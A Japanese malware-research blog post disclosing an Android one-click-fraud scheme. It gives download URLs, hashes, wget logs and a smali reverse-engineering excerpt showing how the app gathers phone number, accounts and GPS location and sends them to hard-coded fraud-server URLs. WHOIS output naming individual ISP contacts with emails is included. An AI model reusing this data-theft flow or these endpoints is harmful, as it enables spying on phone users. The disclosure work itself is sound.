金曜日, 3月 16, 2012

#OCJP-026:日本でのワンクリック詐欺Androidマルウェアの開発サイトを発見しました。マルウェアコードとワンクリックPHP管理システムコードを発見!因みに、コードのコメントは日本語で書いてあります 【対応最中】


*) English report is HERE!
今回ANDROIDスマートフォンのアプリ・マルウェアを発見しました。
それだけではなくて、すべて開発サイトを発見し、たまたまサイトの「.htaccess」脆弱がありましたので、外から見れるようになってしまった情況です(^^
本マルウェア開発コードが入ったサーバのIPは日本となりますが、Googleマーケット経由ではありません。間違いなくマルウェアアプリの開発関係のサイトです。全て開発の情報が見れるようになったので、中身を見たら本当にびっくりしました。
ワンクリック詐欺システムのソースコード迄発見しました、PHPで書いた物ですが、そもそも日本語のコメントが沢山書いてあります、日本の方々が開発したかと思われます。いくつか画像スクリーンショットを取りました。
念のために犯罪証拠の為に全てデータを保存し、このブログの内容を含めて証拠手続きを用意致します。

このサイトに入ったマルウェア種類に付いて、前回我々#OCJPが発見したANDROIDマルウェアと同じロジックが持っています。このマルウェアを実行したら亜米利加にある日本語ワンクリック詐欺サイトに繋げて、スマートフォンの個人情報(スマートフォンのID、電話番号、メールアドレス、GEOロケーション、など)を詐欺サイトに送信されてしまい、そして詐欺サイトから架空請求画像がスマートフォンに届きましたとの犯罪の仕組みです。

本件の事件に付いてDEFCON JAPAN第二のミーティングに「Full Disclosure」説明をやらせて頂きましたので、ビデオは下記となります↓


さて、今回の事件を下記の様に説明させて頂きます。

■アンドロイド・マルウェアが入っているウェブサーバ情報↓ ホスト: capture-site.com / 49x143x247x144.bulks.jp IP : 49.143.247.144 Date : Fri, 16 Mar 2012 13:08:51 GMT Server: Apache/2.2.3 (CentOS) Etag : "54a81c3-1365c-4ba31ae671e40"

■本件のマルウェアダウンロードURL↓ hxxp://capture-site.com/sp/btm.apk hxxp://capture-site.com/sp/ktm.apk hxxp://capture-site.com/sp/dtm.apk hxxp://capture-site.com/sp/ctm.apk hxxp://capture-site.com/sp/success18/dtm.apk hxxp://capture-site.com/sp/fruitdouga/dtm.apk hxxp://49.143.247.144/sp/btm.apk hxxp://49.143.247.144/sp/ktm.apk hxxp://49.143.247.144/sp/dtm.apk hxxp://49.143.247.144/sp/ctm.apk hxxp://49.143.247.144/sp/success18/dtm.apk hxxp://49.143.247.144/sp/fruitdouga/dtm.apk hxxp://49x143x247x144.bulks.jp/sp/btm.apk hxxp://49x143x247x144.bulks.jp/sp/ktm.apk hxxp://49x143x247x144.bulks.jp/sp/dtm.apk hxxp://49x143x247x144.bulks.jp/sp/ctm.apk hxxp://49x143x247x144.bulks.jp/sp/success18/dtm.apk hxxp://49x143x247x144.bulks.jp/sp/fruitdouga/dtm.apk

■マルウェアファイル(UNIX系で見ると)↓ -rwx------ 1 unix- -freaxjp 79452 Mar 1 08:20 btm.apk* -rwx------ 1 unix- -freaxjp 79459 Mar 16 04:46 ctm.apk* -rwx------ 1 unix- -freaxjp 79729 Mar 16 04:49 dtm.apk* -rwx------ 1 unix- -freaxjp 79733 Mar 16 04:51 dtm2.apk* -rwx------ 1 unix- -freaxjp 79728 Mar 16 04:50 ktm.apk*

■MD5とウイルススキャン結果(クリックしたら出てきます)↓ btm.apk 7157ba9a8e10253c57b39b05701c6bd8 ctm.apk 677492027e802361cadf63b11b214a83 dtm.apk 5c6b9d027dccf7ea65ec80a005e81e31 dtm2.apk 9abc414ceea92be88b939cdc5304ae13 ktm.apk c4d631d2ded1f20bcd752d573be707da

■サイトのキャップチャー↓

■証拠としてデータを保存↓

■いくつかダウンロードの証拠↓(全部は要らない)

■ダウンロードのログ(証拠) GET /sp/btm.apk HTTP/1.1 Host: 49x143x247x144.bulks.jp/49.143.247.144 User-Agent: Mozilla/5.0 (FreeBSD 8.2) Gecko/20100101 Firefox/10.0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ja,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Fri, 16 Mar 2012 13:08:51 GMT Server: Apache/2.2.3 (CentOS) Last-Modified: Thu, 01 Mar 2012 17:20:49 GMT Etag: "54a81c3-1365c-4ba31ae671e40" Accept-Ranges: bytes Content-Length: 79452 Connection: close Content-Type: text/plain; charset=UTF-8 --19:13:54-- hxxp://49x143x247x144.bulks.jp/sp/btm.apk => `btm.apk' Resolving 49x143x247x144.bulks.jp... 49.143.247.144 Connecting to 49x143x247x144.bulks.jp|49.143.247.144|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 79,452 (78K) [text/plain] 100%[====================================>] 79,452 --.--K/s 19:13:54 (1.66 MB/s) - `btm.apk' saved [79452/79452] --22:14:10-- hxxp://49.143.247.144/sp/btm.apk => `btm.apk' Connecting to 49.143.247.144:80... connected. HTTP request sent, awaiting response... 200 OK Length: 79,452 (78K) [text/plain] 100%[====================================>] 79,452 145.81K/s 22:14:11 (145.58 KB/s) - `btm.apk' saved [79452/79452] --22:21:37-- hxxp://capture-site.com/sp/btm.apk => `btm.apk' Resolving capture-site.com... 49.143.247.144 Connecting to capture-site.com|49.143.247.144|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 79,452 (78K) [text/plain] 100%[====================================>] 79,452 --.--K/s 22:21:37 (2.09 MB/s) - `btm.apk' saved [79452/79452] :  :(etc.. etc)

■ワンクリック詐欺の証拠↓ 下記はワンクリック詐欺の管理者向けのツール/プログラムDIR↓ ↑DIRの中にあるファイルを開いたら、請求情報とゲットされたAndroidユーザ情報を見れます↓ ダウンロードされたアプリの計算↓ ワンクリック詐欺の管理ツールPHPプロジェクト情報!!↓ ■マルウェアコード(データのパス&日本語のコメント発見)の証拠↓ 下記のパスにはAndroidマルウェアコードが発見しました↓ 日本語のコメントが書いてありますね↓ ■下記のワンクリック詐欺のサイトに繋がっています↓ ワンリック詐欺サイトのトップページ↓ 詐欺の内容↓

■マルウェア調査情報↓(今回得急いで作ったので…英語でやらせて頂きます) ※PS: (英語)I reversing the binary BEFORE I sniffed and found the dev site.. So the below report is pure reversing, please check to the malware source code- to be sure of it. (JAPANESE) 一応REVERSINGしてからマルウェア開発サイトを発見しましたので、 下記の逆分析調査情報はREVERSINGの参考にはなります。 明確にはマルウェアコードを見て下さい。 /*----------------------------- 1. GET THE SYSTEM PRIVATE DATA --------------------------------*/ //accessing the systems sensitive data getSystemService(Ljava/lang/String;) getAccounts()[Landroid/accounts/Account; invoke-virtual/range {v16 .. v16}, Landroid/telephony/TelephonyManager; ->getLine1Number()Ljava/lang/String; Landroid/location/Location;->getLatitude()D Lcom/example/android/service/Main;->mLocationManager:Landroid/location/LocationManager; invoke-virtual {v0, v1}, Landroid/location/LocationManager; ->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location; //operations for getting device data & allocating to malware variables Main(101) : iget-object v0, p0, Lcom/example/android/service/Main;->dvino:Ljava/lang/String; Main(441) : iput-object v1, v0, Lcom/example/android/service/Main;->dvino:Ljava/lang/String; vew2(62) : iput-object v0, p0, Lcom/example/android/service/vew2;->dvino:Ljava/lang/String; vew2(295) : iput-object v0, p0, Lcom/example/android/service/vew2;->dvino:Ljava/lang/String; vew2(304) : iget-object v2, p0, Lcom/example/android/service/vew2;->dvino:Ljava/lang/String; Main(61) : iput-object v0, p0, Lcom/example/android/service/Main;->dtnn:Ljava/lang/String; Main(123) : iget-object v0, p0, Lcom/example/android/service/Main;->dtnn:Ljava/lang/String; Main(415) : iput-object v1, v0, Lcom/example/android/service/Main;->dtnn:Ljava/lang/String; Main(483) : iput-object v7, v0, Lcom/example/android/service/Main;->dtnn:Ljava/lang/String; Main(604) : iget-object v3, p0, Lcom/example/android/service/Main;->dtnn:Ljava/lang/String; Main(51) : iput-object v0, p0, Lcom/example/android/service/Main;->telno:Ljava/lang/String; Main(112) : iget-object v0, p0, Lcom/example/android/service/Main;->telno:Ljava/lang/String; Main(432) : iput-object v1, v0, Lcom/example/android/service/Main;->telno:Ljava/lang/String; Main(592) : iget-object v3, p0, Lcom/example/android/service/Main;->telno:Ljava/lang/String; /*----------------------------- 2. HTTP COMUNICATION CALLS -----------------------------*/ //initial setting for http client .local v3, method:Lorg/apache/http/client/methods/HttpGet; //some methods http used for transaction Lorg/apache/http/client/methods/HttpGet;->(Ljava/lang/String;)V new-instance v0, Lorg/apache/http/impl/client/DefaultHttpClient; Lorg/apache/http/client/methods/HttpGet;->setHeader(Ljava/lang/String;Ljava/lang/String;)V Lorg/apache/http/impl/client/DefaultHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse; Lorg/apache/http/StatusLine;->getStatusCode()I /*----------------------------- 3. SPYWARE STRING BUILDER: -----------------------------*/ //initial variable for stolen strings.. .field private dtnn:Ljava/lang/String; .field private dvino:Ljava/lang/String; .field private telno:Ljava/lang/String; .field private m_addr:Ljava/lang/String; .field latitude:D .field longitude:D .field private mLocationManager:Landroid/location/LocationManager; .field private mVib:Landroid/os/Vibrator; .field private timer2:Ljava/util/Timer; .field private url:Ljava/lang/String; .field private end_f:Ljava/lang/Integer; .field final synthetic this$0:Lcom/example/android/service/vew2; .field final synthetic this$0:Lcom/example/android/service/Main; ..etc..etc.. // some initial data for string operations const-string v3, "&telno=" const-string v2, "&m_addr=" const-string v2, "&dvino=" const-string v3, "&dtnn=" const-string v1, "&url=" ...etc..etc.. //data acessed putting to the strings... Lcom/example/android/service/Main;->mVib:Landroid/os/Vibrator; Lcom/example/android/service/Main;->dvino:Ljava/lang/String; Lcom/example/android/service/Main;->telno:Ljava/lang/String; Lcom/example/android/service/Main;->dtnn:Ljava/lang/String; Lcom/example/android/service/vew2;->mVib:Landroid/os/Vibrator; Lcom/example/android/service/vew2n;->telno:Ljava/lang/String; /*----------------------------- 4. SPYWARE - DATA SENT via HTTP: -----------------------------*/ //Building strings for sending......... Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; invoke-direct {v0, v1, v2}, Landroid/content/Intent;->(Ljava/lang/String;Landroid/net/Uri;)V //sent uri used const-string Uri v2, "http://erotte.com/check.php?id=", "http://erotte.com/rgst5.php?gpsx=", "http://erotte.com/send.php?a_id=" //sent & registered android location Main$1(116) : const-string v3, "&gpsx=" Main(610) : const-string v3, "&gpsx=" Main$1(134) : const-string v3, "&gpsy=" Main(626) : const-string v3, "&gpsy=" vew2$1(83) : const-string v3, "&gpsy=" vew2(607) : const-string v3, "&gpsy=" const-string v3, "http://erotte.com/rgst5.php?gpsx= ....gpsy..

■調査のスクリーンショット↓ ※バイナリーでマルウェアの$STRINGを見れます↓ ※色んなANDROIDの権限設定条件(permisssion requirement)↓ ↑click for a larger view..

■マルウェアのサーバ情報↓ 詐欺サイトのURLは下記となります↓ hxxp://erotte.comなどなど… Name: erotte.com Address: 49.143.247.144 ↑このソースコードも同じIPアドレスに発見しました。 非常にあやしいですので、法律的な行動が直ぐに必要です! インターネット・ルーティング情報とネットワーク図↓ IP登録の責任者↓ /*------------------------------- IP: 49.143.247.144 ---------------------------------*/ inetnum: 49.143.240.0 - 49.143.247.255 netname: Hypernet-Shizuoka descr: Dreamwave Shizuoka Co., Ltd. descr: SuzuyoInformation Bldg. 1F, descr: 22-1-5,Nakanogo,Shimizu-ku,Shizuoka-shi,Shizuoka,JAPAN country: JP inetnum: 49.143.247.128 - 49.143.247.191 netname: UPRIGHT descr: Upright Inc. country: JP admin-c: TY9472JP tech-c: KA4923JP remarks: This information has been partially mirrored by APNIC from remarks: JPNIC. To obtain more specific information, please use the remarks: JPNIC WHOIS Gateway at remarks: http://www.nic.ad.jp/en/db/whois/en-gateway.html or remarks: whois.nic.ad.jp for WHOIS client. (The WHOIS client remarks: defaults to Japanese output, use the /e switch for English remarks: output) changed: apnic-ftp@nic.ad.jp 20111014 source: JPNIC 本件のインターネット回線責任者↓ a. [JPNICハンドル] TY9472JP b. [氏名] 谷 佑 c. [Last, First] Yu, Tani d. [電子メイル] tani@upr.ight.jp f. [組織名] 株式会社アップライト g. [Organization] Upright Inc. a. [JPNICハンドル] KA4923JP b. [氏名] 上倉 亨 c. [Last, First] Akira, Kamikura d. [電子メイル] kamikura@upr.ight.jp f. [組織名] 株式会社アップライト g. [Organization] Upright Inc.

----
ゼロデイ・ジャパン http://0day.jp
マルウェア研究所
Analyst: アドリアン・ヘンドリック / Hendrik ADRIAN
Sponsored by: 株式会社ケイエルジェイテック


TO BE NOTICED: All of the findings and exposed material in this site is belong to the site owner and is an original
materials. Any COPY of research material without written permission from unixfreaxjp/site owner is strictly prohibited. Any attempt to camouflage and attempt to owning this research material will be prosecuted by law.

3 件のコメント:

  1. 何故か分かりませんが、本件のサイトが未だアップされている状況ですね↓

    Sun Apr 8 14:20:00 JST 2012
    --14:19:17-- hxxp://capture-site.com/sp/btm.apk
    => `btm.apk'
    Resolving capture-site.com... 49.143.247.144
    Connecting to capture-site.com|49.143.247.144|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 79,452 (78K) [text/plain]
    100%[====================================>] 79,452 229.08K/s
    14:19:17 (228.99 KB/s) - `btm.apk' saved [79452/79452]

    返信削除
  2. unixfreaxjpさん、

    このワンクリック詐欺Androidマルウェアですが、画像をアップロードする亜種について何かご存知でしょうか?SDカードに保存されている画像ファイルを犯罪者のサーバへ送信するように仕組みになっているようです。本当にこのようなものがあるのか知りたいと思いご連絡させていただきました。

    返信削除
  3. この質問の回答が遅くなりますので、申し訳ありません。
    技術の問題ではなくここで回答すればいいかどうかを悩んでましたので、とりあえず出来る限りに説明いたします↓
    Droidモバイルは国やサービスによって使い方のメインは別々となります。
    国とサービスによって、生まれてきたマルウェアが違います。
    画像をアップロードする亜種についてDroidマルウェアが沢山種類がありますが、とくに中国語のDroidマルウェアアプリですと殆どこの機能が持っていますね、その中に最近Droidのスクリーンショットを取ったマルウェアが韓国に発見されています。ロシア経由又は東ヨーロッパのDroidマルウェアですとSMS経由が多くてダイアルの関係電話番号を狙う物が多いです。
    続いて、日本ですとSDカードからの画像を盗むと送信の時間がかかってしまうと思いますが悪いやつら的にはメリットよりもデメリットになりますので、SxxD情報とGxxxxeアカウント情報を盗んだほうが彼たちによってはおいしそうですね。

    返信削除